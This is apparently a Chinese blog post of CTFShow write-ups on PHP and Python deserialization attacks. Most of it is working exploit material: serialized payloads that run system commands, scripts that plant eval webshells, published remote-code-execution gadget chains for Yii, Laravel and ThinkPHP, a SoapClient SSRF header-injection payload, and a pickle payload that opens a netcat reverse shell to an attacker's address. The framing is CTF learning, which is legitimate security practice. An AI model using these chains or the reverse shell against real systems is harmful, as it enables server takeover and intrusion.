PHP反序列化总结

yansui Lv3

PHP反序列化总结

反序列化学的比较烂,所以这一篇基本上是CTFSHOW题解了。

一、PHP前置基础

菜鸟就完了

二、PHP反序列化简介

1.反序列化是什么?为什么存在漏洞?

懒得写了,放个链接

2.关于魔术方法

什么是魔术方法?

与反序列化相关的魔术方法:
构造方法__construct、析构方法__destruct在序列化和反序列化过程中都不会被调用
但是当某个对象被销毁时会调用析构方法,可以利用这一点构造POP链。

反序列化不调用构造方法

3.关于类中不同类型的属性

public:反序列化得到的变量名就是它自己

private:在变量名前添加标记%00(classname)%00,长度+2+类名长度: s:17:"%00FileHandler%00op";i:2;

protected:在变量名前添加标记%00*%00,长度+3: s:5:"%00*%00op";i:2;

二、CTFShow题解

Web254

有点难绷,账号和密码就是xxxxxx

Web255

payload:
GET /?username=xxxxxx&password=xxxxxx
COOKIE user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

一定记得URL编码,否则会出现奇怪的问题

Web256

看起来跟上面一题一样,不确定,payload打一下试试
原来是加了username和password不能一样的限制,改一下就行

payload:
GET /?username=123&password=456
COOKIE user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22password%22%3Bs%3A3%3A%22456%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

Web257

GET /username=1&password=2
payload:
O:11:”ctfShowUser”:4:{s:21:”ctfShowUserusername”;s:1:”1”;s:21:”ctfShowUserpassword”;s:1:”2”;s:18:”ctfShowUserisVip”;b:0;s:18:”ctfShowUserclass”;O:8:”backDoor”:1:{s:14:”backDoorcode”;s:13:”system(‘tac flag.php’);”;}}

user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A1%3A%221%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A1%3A%222%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system(‘tac%20flag.php’)%3B%22%3B%7D%7D

Web258

还有过滤??什么鬼东西
preg_match('/[oc]:\d+:/i', $_COOKIE['user'])这是什么意思呢?

这个PHP语句使用正则表达式来匹配一个名为’user’的cookie值。正则表达式模式是/[oc]:\d+:/i。
让我们逐个解释模式中的各个部分:
[oc]:这是一个字符类(character class),它匹配单个字符,可以是字母’o’或’c’中的任意一个。
::匹配冒号字符。
\d+:这是一个量词,表示匹配一个或多个数字字符。
::匹配冒号字符。
/i:是一个修饰符(modifier),表示不区分大小写匹配。
因此,该正则表达式模式用于查找以字母’o’或’c’开头,后跟一个或多个数字字符,然后以冒号结尾的字符串。如果该模式匹配了用户的cookie值,条件就会满足。

payload:
O:+11:”ctfShowUser”:4:{s:8:”username”;s:1:”1”;s:8:”password”;s:1:”2”;s:5:”isVip”;b:0;s:5:”class”;O:+8:”backDoor”:1:{s:4:”code”;s:22:”system(‘tac flag.php’)”;}}

上面那个system语句忘记加分号了 我是傻逼
O:+11:”ctfShowUser”:4:{s:8:”username”;s:1:”1”;s:8:”password”;s:1:”2”;s:5:”isVip”;b:0;s:5:”class”;O:+8:”backDoor”:1:{s:4:”code”;s:13:”system(‘ls’);”;}}

O:+11:”ctfShowUser”:4:{s:8:”username”;s:1:”1”;s:8:”password”;s:1:”2”;s:5:”isVip”;b:0;s:5:”class”;O:+8:”backDoor”:1:{s:4:”code”;s:23:”system(‘tac flag.php’);”;}}

有效的payload:
O:+11:”ctfShowUser”:1:{s:5:”class”;O:+8:”backDoor”:1:{s:4:”code”;s:17:”system(‘tac f*’);”;}}

Web259

好像跟反序列化没啥关系啊

用原生类的反序列化打SSRF,上难度了

本题的思路简单来说就是利用PHP原生类中__call函数可控的部分来注入HTTP头,控制UA,使得服务器误以为UA的内容就是HTTP头中的其他内容,从而完成对XFF的覆盖(因为XFF在UA的后边)

参考链接

payload:

1
2
3
4
5
<?php
$ua="ctfshow\r\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client=new SoapClient(null,array('uri'=>"127.0.0.1/",'location'=>"http://127.0.0.1/flag.php",'user_agent'=>$ua));
echo urlencode(serialize($client))
?>

这题对于我来说还是有点太难了

Web260

直接传36D进去就行

Web261

来玩玩CTFShow 感觉还是得结合buuctf

首先得熟悉一下出现的各种魔术方法:

__wakeup:当序列化字符串被反序列化时执行

__sleep:当序列化一个对象时执行

__invoke:尝试将对象调用为函数时执行

__construct:构造方法

__destruct:析构方法,一个对象被销毁时调用

__unserialize:这玩意第一次见,

当__serialize和__sleep方法同时存在,序列化时忽略__sleep方法而执行__serialize;当__unserialize方法和__wakeup方法同时存在,反序列化时忽略__wakeup方法而执行__unserialize
__unserialize的参数:当__serialize方法存在时,参数为__serialize的返回数组;当__serialize方法不存在时,参数为实例对象的所有属性值组合而成的数组

也就是说这里不会执行__wakeup了

学完了魔术方法就来审代码了

其实啥也不用管,只看析构方法就行,36D是弱类型比较。

EXP:

1
2
3
4
5
6
7
8
9
<?php
class ctfshowvip{
public $username = '877.php';
public $password = '<?php eval($_POST[1])?>';
}

$a = new ctfshowvip();
echo urlencode(serialize($a))."<br>";
?>

下次试试直接system(‘tac /*f*‘)

Web262

是要让token为admin 什么鬼题目

EXP:

1
2
3
4
5
6
7
8
<?php
class message{
public $token='admin';
}


$a = new message();
echo urlencode(base64_encode(serialize($a)))."<br>";

Web263

一打开咋是个登录界面

实在太难了,当长长见识吧、

讲解视频

payload:

1
2
3
4
5
6
7
8
<?php
class User{
public $username="1.php";
public $password='<?php eval($_POST[a]);?>//';
}

echo urlencode(base64_encode(serialize("|".serialize(new User))));

//1.index.php
cookie传:>limit=czo5MjoifE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4O>iJwYXNzd29yZCI7czoyNjoiPD9waHAgZXZhbCgkX1BPU1RbYV0pOz8%2BLy8iO30iOw%3D%3D

//2.带着cookie去访问check.php

//3.访问log-1.php
post传:a=system(‘cat flag.php’);

//4.查看源代码获得flag

Web264

str_replace字符串逃逸

payload:

1
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

Web265

这题目怎么一个比一个难

exp(抄的):

1
2
3
4
5
6
7
8
9
10
<?php 
class ctfshowAdmin{
public $token;
public $password;
public function __construct(){
$this->password=&$this->token;
}
}
$a=new ctfshowAdmin();
echo serialize($a);

Web266

有关try-catch-throw的参考:
参考文档

这里反序列化操作一定会执行,所以直接正常写exp就行

嘶 不对,不能正常执行完脚本 反序列化的对象不出作用域,执行不了析构函数,还是得注意一下

利用PHP对类名的大小写不敏感写exp
exp:

1
2
3
4
5
6
7
8
9
10
11
12
<?php

class Ctfshow{
public $username='1';
public $password='1';
}

$a = new Ctfshow();

echo serialize($a)."<br>";
echo serialize($a);

上面的exp有错哦:

在PHP中,服务器会自动进行URL解码的部分有:
GET传递的参数:GET请求中的参数会被服务器自动解码。这些参数通常出现在URL的查询字符串中,例如:example.com/page.php?param1=value1&param2=value2。服务器会将参数值自动解码为可读的形式,例如将%20解码为空格。
POST传递的参数:POST请求中的参数也会被服务器自动解码。这些参数通常包含在请求的正文中,不会显示在URL中。服务器会自动解码这些参数值,以便在PHP代码中使用。
以下部分不会被服务器自动进行URL解码:
User-Agent等HTTP头:HTTP头部包含了关于请求的附加信息,例如User-Agent、Content-Type等。这些头部信息不会被服务器自动解码,它们的值将保持原样,需要开发者自行解码。
通过php://input传递的内容:php://input是PHP中一个用于访问请求正文的流。如果你在代码中使用php://input来获取请求正文的内容,服务器不会自动进行URL解码。你需要自行解码来处理请求正文的内容。
需要注意的是,GET和POST请求中的参数在被服务器解码后,会被存储在超全局变量$_GET和$_POST中,这些变量中的值已经是解码后的形式,可以直接在PHP代码中使用,无需再进行解码。

不编码就行了

Web267

Yii框架反序列化漏洞,可以导致RCE:

CVE-2020-15148

可以抄到现成的POP链子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'shell_exec'; //php函数
$this->id ="echo '<?php eval(\$_GET[1]);phpinfo();?>' > /var/www/html/basic/web/2.php"; //php函数的参数
}
}
}

namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}

namespace yii\db{
use Faker\Generator;

class BatchQueryResult{
private $_dataReader;

public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

payload:

?r=/backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6MTA6InNoZWxsX2V4ZWMiO3M6MjoiaWQiO3M6NzI6ImVjaG8gJzw/cGhwIGV2YWwoJF9HRVRbMV0pO3BocGluZm8oKTs/PicgPiAvdmFyL3d3dy9odG1sL2Jhc2ljL3dlYi8yLnBocCI7fWk6MTtzOjM6InJ1biI7fX19fQ==

Web268

据说是换了条链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
namespace yii\rest {
class Action
{
public $checkAccess;
}
class IndexAction
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('shell_exec', "echo '<?php eval(\$_POST[1]);phpinfo();?>' > /var/www/html/basic/web/1.php");
echo(base64_encode(serialize($exp)));
}

payload:

?r=/backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czo3MzoiZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/PicgPiAvdmFyL3d3dy9odG1sL2Jhc2ljL3dlYi8xLnBocCI7fWk6MTtzOjM6InJ1biI7fX19

Web269

payload:
?r=/backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czo3MzoiZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/PicgPiAvdmFyL3d3dy9odG1sL2Jhc2ljL3dlYi8xLnBocCI7fWk6MTtzOjM6InJ1biI7fX19

Web270

payload:
?r=/backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czo3MzoiZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/PicgPiAvdmFyL3d3dy9odG1sL2Jhc2ljL3dlYi8xLnBocCI7fWk6MTtzOjM6InJ1biI7fX19

姿势不用换就能出。可惜都是抄别的大佬的wp做的
当长个见识吧

Web271

CVE-2019-9081,Laravel 5.7反序列化漏洞

也有现成的链子可以抄:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php

namespace Illuminate\Foundation\Testing {
class PendingCommand
{
public $test;
protected $app;
protected $command;
protected $parameters;

public function __construct($test, $app, $command, $parameters)
{
$this->test = $test; //一个实例化的类 Illuminate\Auth\GenericUser
$this->app = $app; //一个实例化的类 Illuminate\Foundation\Application
$this->command = $command; //要执行的php函数 system
$this->parameters = $parameters; //要执行的php函数的参数 array('id')
}
}
}

namespace Faker {
class DefaultGenerator
{
protected $default;

public function __construct($default = null)
{
$this->default = $default;
}
}
}

namespace Illuminate\Foundation {
class Application
{
protected $instances = [];

public function __construct($instances = [])
{
$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
}
}
}

namespace {
$defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));

$app = new Illuminate\Foundation\Application();

$application = new Illuminate\Foundation\Application($app);

$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('tac /f*'));

echo urlencode(serialize($pendingcommand));
}

Web272

怎么全是CVE 不想说话了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-05-05 22:27:03
# @Last Modified by: h1xa
# @Last Modified time: 2021-05-05 22:39:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/


namespace PhpParser\Node\Scalar\MagicConst{
class Line {}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code;

public function __construct($config, $code)
{
$this->config = $config;
$this->code = $code;
}
}
}
namespace Mockery\Loader{
class EvalLoader{}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace{
$line = new PhpParser\Node\Scalar\MagicConst\Line();
$mockdefinition = new Mockery\Generator\MockDefinition($line,"<?php system('tac /f*');");
$evalloader = new Mockery\Loader\EvalLoader();
$dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));
$queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);
$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);
echo urlencode(serialize($pendingbroadcast));
}

Web273

跟上面一题一样

Web274

thinkphp 5.1反序列化漏洞
纯抄wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["lin"=>["calc.exe","calc"]];
$this->data = ["lin"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'lin'];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}


namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];

public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

Web275

今天的CTF到此结束 明天再玩

好像是单纯的代码审计?

最关键的部分还是eval的部分,直接执行代码cat *f*就行

payload:

?fn=php;tac *f*

Web276

做不动了 想摆烂了
想去玩三色绘恋了

可恶

好像是要想办法让admin=true?

看了大佬的wp,是条件竞争,做不了,顺理成章地摆烂了

Web277

exp:

1
2
3
4
5
6
7
8
9
10
import base64
import pickle
class CTFshow():
def __reduce__(self):
return (eval,("__import__('os').popen('nc ip地址 端口 -e /bin/sh').read()",))

cs = CTFshow()

ctfshow_ser = pickle.dumps(cs) #不加s是文件
print(base64.b64encode(ctfshow_ser))

pickle.loads(m)是一个Python代码片段,其中pickle是Python标准库中的模块,用于序列化(将对象转换为字节流)和反序列化(将字节流转换回对象)Python对象。

在这个代码片段中,pickle.loads()是pickle模块中的函数,用于反序列化(将字节流转换回对象)。m是一个字节流(序列化后的对象),通过调用pickle.loads(m),我们将字节流m反序列化为原始的Python对象。

换句话说,这行代码的作用是将通过pickle.dumps()序列化后的对象重新转换回原始的Python对象。

序列化是将对象转换为可以在网络上传输或存储的字节流的过程。在Python中,pickle模块提供了序列化和反序列化的功能。

pickle模块提供了两个主要的方法来进行序列化:

pickle.dumps(obj):将Python对象obj序列化为一个字节流(bytes)。它返回一个表示序列化对象的字节流,可以将其存储到文件或通过网络传输。

有关pickle反序列化:

在Python中,使用pickle模块进行反序列化时,会调用对象的__reduce__()方法来确定对象的重新构建方式。reduce()方法返回一个元组,其中第一个元素是要调用的函数,而后续元素是该函数的参数。

在你提供的代码中,CTFshow类的__reduce__()方法返回了一个元组,其中第一个元素是eval函数,而后续元素是一个包含要执行的代码的字符串。因此,当调用pickle.loads()或pickle.load()来反序列化数据时,它会调用eval函数,并将字符串”import(‘os’).popen(‘nc ip地址 端口 -e /bin/sh’).read()”作为代码进行执行。

这段代码的目的是通过反序列化来执行恶意命令,打开一个与指定IP地址和端口的远程主机的网络连接,并执行/bin/sh(Shell)命令。这是一种危险的行为,因为它允许攻击者在你的系统上执行任意命令。

对于反序列化过程来说,不需要定义与序列化时相同的类。在Python中,pickle模块会使用序列化数据中的信息来重建对象。当进行反序列化时,pickle会调用对象的__reduce__()方法(如果定义了的话),以确定对象的重新构建方式。

在你的代码中,虽然没有提供CTFshow类的定义,但在反序列化过程中,pickle模块会使用序列化数据中的信息调用__reduce__()方法,并执行返回的函数以重新构建对象。因此,尽管没有CTFshow类的定义,但仍然可以成功反序列化,并执行eval函数调用。

__reduce__()方法的相关内容会被写入序列化的字节流中。当调用pickle.dumps()或pickle.dump()将对象序列化为字节流时,pickle模块会将对象的类型、属性和__reduce__()方法返回的信息一起写入字节流中。

在反序列化过程中,pickle模块会读取字节流并根据其中的信息来重建对象。它会查找对象的类型信息,并调用__reduce__()方法来获取对象的重新构建方式。因此,reduce()方法的返回值会在反序列化过程中被解析和使用。

dump()函数用于将对象序列化为字节流,并将其写入文件或类似对象的流中
dumps()函数用于将对象序列化为字符串,并返回序列化后的字符串。

Web278

上面那个payload照样能打

总结一下

感觉CTFSHOW上的反序列化题目还比较无聊,没有太大的收获,反序列化暂且告一段落,学java和nodejs去了,两块硬骨头

  • 标题: PHP反序列化总结
  • 作者: yansui
  • 创建于: 2023-07-08 21:29:01
  • 更新于: 2023-09-08 11:07:43
  • 链接: http://yansui.xyz/2023/07/08/反序列化总结/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
 评论